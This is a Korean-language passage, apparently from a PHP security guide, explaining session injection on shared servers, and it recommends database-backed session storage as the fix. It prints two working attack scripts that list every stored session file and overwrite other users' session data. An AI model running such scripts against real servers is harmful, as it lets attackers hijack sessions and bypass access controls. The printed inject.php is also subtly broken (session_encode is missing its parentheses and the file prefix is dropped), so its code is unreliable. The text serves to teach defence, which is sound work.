세션 노출과 유사한 문제는 세션 주입입니다. 이러한 유형의 공격은 세션 저장소 디렉터리에 대한 읽기 권한뿐만 아니라 쓰기 권한도 있는 웹 서버를 기반으로 합니다. 따라서 다른 사용자가 세션을 추가, 편집, 삭제할 수 있도록 하는 스크립트를 작성하는 것이 가능합니다. 다음 예는 사용자가 기존 세션 데이터를 쉽게 편집할 수 있는 HTML 양식을 보여줍니다.
<?php session_start(); ?> <form action="inject.php" method="POST"> <?php $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form>
inject.php 스크립트는
<?php session_start(); $path = ini_get('session.save_path'); foreach ($_POST as $sess_name => $sess_data) { $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data); } $_SESSION = array(); ?>
그러한 공격은 매우 위험합니다. 공격자는 사용자의 데이터뿐만 아니라 자신의 세션 데이터도 편집할 수 있습니다. 공격자가 수정을 위해 모든 세션 데이터를 선택할 수 있어 액세스 제한 및 기타 보안 조치를 우회할 수 있으므로 세션 하이재킹보다 더 강력합니다.
이 문제를 해결하는 가장 좋은 방법은 세션 데이터를 데이터베이스에 저장하는 것입니다. 이전 섹션에 표시된 내용을 참조하세요.